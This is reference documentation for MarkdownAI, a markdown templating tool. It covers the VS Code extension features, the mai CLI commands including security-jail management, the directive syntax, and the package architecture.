Go-to-Definition

F12 or Ctrl+click on @call name jumps to the @define block - even across files via @import.

Find All References

Shift+F12 on @call or @define lists every call site in the current document.

Diagnostics

Red underlines for unclosed blocks (@if without @endif). Yellow underlines for @call to undefined macros. Hover any underline to read the message.

Live Preview

Click the preview icon in the editor title bar. Shows rendered output; refreshes on save. Requires mai CLI installed.

Available Snippets

PrefixExpands To
mai@markdownai header
@defineFull @define name ... @end block
@ifFull @if ... @endif block
@ifelseFull @if ... @else ... @endif block
@phasePhase skeleton with @on complete
@prompt@prompt ... @end block
@constraint@constraint with id and severity
@query@query label=result command
@http@http url="" ...
{{{{ variable }}

Extension Settings

SettingDefaultDescription
markdownai.diagnostics.enabledtrueSet to false to turn off all diagnostics
markdownai.diagnostics.warnUndefinedMacrostrueSet to false to skip macro reference checks
markdownai.stdlibPathengine stdlib pathPath to stdlib macro definitions, relative to workspace root

Complete CLI Reference

All mai commands. Universal flags (--env, --cwd, --verbose, --strict, --silent) work on every command.

CommandDescriptionKey Flags
mai render <file>Execute a document and print rendered markdown to stdout-o <path>, --phase <name>, --consumer <ai|human>, --format=ai, --budget=N
mai build <file>Render and write to disk-o <path> (required), --watch
mai watch <file>Watch for changes and re-render automatically--output <path>
mai strip <file>Remove all directives, produce plain markdown-o <path>, --env <file>
mai validate <file>Check document for errors and warnings without rendering--strict
mai parse <file>Parse document and output AST as JSON--node <type>, --pretty
mai eval "<expression>"Evaluate a single expression against the environment--env <file>
mai initInstall PreToolUse hook into AI client--client <claude-code|cursor>, --global-claude-md
mai serveStart MCP server--cwd <path>, --port <N>
mai cache show [file]List cached entries--expired, --persist, --session
mai cache clear [file]Clear cached data--session, --persist, --directive <type>
mai cache seed <file>Pre-populate cache by running all fetches--env <file>, --directive <type>
mai security initCreate or import a security policy--from .markdownai.json
mai security showDisplay active security policy-
mai security shell <sub>Manage shell jail (enable, disable, add, remove, list, test)-
mai security db <sub>Manage database jail (add, set, allow-collection, deny-keyword, test)-
mai security http <sub>Manage HTTP jail (enable, disable, add-domain, remove-domain, test)-
mai security filesystem <sub>Manage filesystem rules (show, add-block-path, test, test-mask)-
mai security audit <sub>View and manage audit log (show, show --blocked, clear)-
mai list-phases <file>List all phases in a document with their transitions-
mai list-macros <file>List all macros with their source file-
mai list-imports <file>Show the full dependency tree for a document-

Complete Directive Reference

Header

DirectiveDescription
@markdownaiEnable MarkdownAI for this file. Must be line 1 (or first line after frontmatter).
@markdownai v1.0Enable with version pin.
@markdownai shell-inline="passthrough"Pass Claude Code's !`cmd` syntax through without security gating.

Environment

DirectiveDescription
@env VAROutput variable value as a paragraph.
@env VAR fallback="value"With default when unset.
@env VAR requiredFail validation if unset.
@env VAR required maskedRequired and never appears in output.

Macros

DirectiveDescription
@define name ... @endDefine a named content block.
@define name @local ... @endLocal-scoped macro, not shared with parent documents.
@call nameInsert macro content.
@call name(param=value)Insert with named parameters.

File Resolution

DirectiveDescription
@include ./path.mdInclude file content inline.
@include ./file.ts lines=N-MInclude specific line range.
@import ./path.mdImport definitions only (macros, connections, env fallbacks) - no content rendered.
@include ./file @cache sessionInclude with session caching.

Conditionals

DirectiveDescription
@if conditionStart conditional block.
@elseif conditionAdditional branch.
@elseFallback branch.
@endifClose conditional block.

Data Sources

DirectiveDescription
@list ./path/List files, directories, or structured data.
@read ./file.json path="key"Read a value from a structured file.
@tree ./path/ depth=NRender ASCII directory tree.
@date format="YYYY-MM-DD"Current date/time or file modification date.
@count ./path/ match="*.ts"Count files matching a pattern.
@connect name type="mongodb" uri=env.VARRegister a named database connection.
@db using="name" find="collection"Query a database (jailed).
@http url="https://..."Fetch from an HTTP endpoint (jailed).
@query "command"Run a shell command (jailed).

Pipeline

DirectiveDescription
source | transform | @render type="format"Pipe data through transforms to a renderer.
@render type="table" columns="a,b"Render data in a specific format.

Phases

DirectiveDescription
@phase name ... @endNamed workflow phase block.
@on complete -> phase-nameTransition to next phase on completion.
@on complete -> @call macroCall a macro on completion.

Caching

ModifierDescription
@cache sessionCache in memory for current session.
@cache ttl=NCache for N seconds.
@cache persistCache to disk across restarts.
@cache mock=./file.jsonAlways serve from local fixture.

AI-Native

DirectiveDescription
@prompt role="context" ... @endEmbed AI instructions. Invisible to humans.
@constraint id="id" severity="critical" ... @endMachine-readable rule surfaced in structured table for AI readers.
@note ... @endSource-only comment, never in rendered output.
@note visible ... @endRenders as a blockquote callout.
@define-concept term "definition"Register a domain term for AI glossary injection.
@section priority="high" ... @endSection with priority for context budget trimming.
@chunk-boundary id="name"Mark a logical chunk boundary for RAG pipelines.

Architecture

Six packages in an npm workspaces monorepo. TypeScript strict mode throughout. ESM with .js extensions in source imports. Target ES2022, Node >= 18.

PackageNameRole
packages/parser@markdownai/parserAST production only. Never executes. Pure and inert - safe to run in any environment.
packages/renderer@markdownai/renderer11 format modules. ASCII output. No external charting libraries, no browser required.
packages/engine@markdownai/engineExecution, env resolution, pipelines, caching, strip. All security enforcement lives here.
packages/mcp@markdownai/mcpMCP server with 9 tools. Phase navigation. Lazy loading.
packages/core@markdownai/coreThe mai binary and all CLI commands.
packages/vscodemarkdownai (VS Code)Language detection, syntax highlighting, snippets, completions, hover, diagnostics, live preview.

Code Quality Rules

  • No file > 300 lines
  • No function > 50 lines
  • No console.log in library code - use the logger
  • eval() is never used anywhere - vm.runInNewContext only
  • Never spawn child processes from parser - parser is pure AST only
  • One directive module per directive: packages/parser/src/directives/<name>.ts

Security Enforcement Location

All security enforcement happens in the engine, not the parser. The parser is intentionally inert - it produces an AST but never executes anything. This separation means you can parse any document safely in any environment without side effects. Security jails, content masking, and immutable rules all run in the engine layer when directives are actually evaluated.

Cross-Platform Design

Built-in pipe transforms (grep, sort, head, tail, wc -l, uniq) are pure Node.js implementations - no shell spawning. Shell-dependent commands (awk, sed, jq) spawn child processes and are Unix/WSL only. The engine detects platform at startup for shell command availability.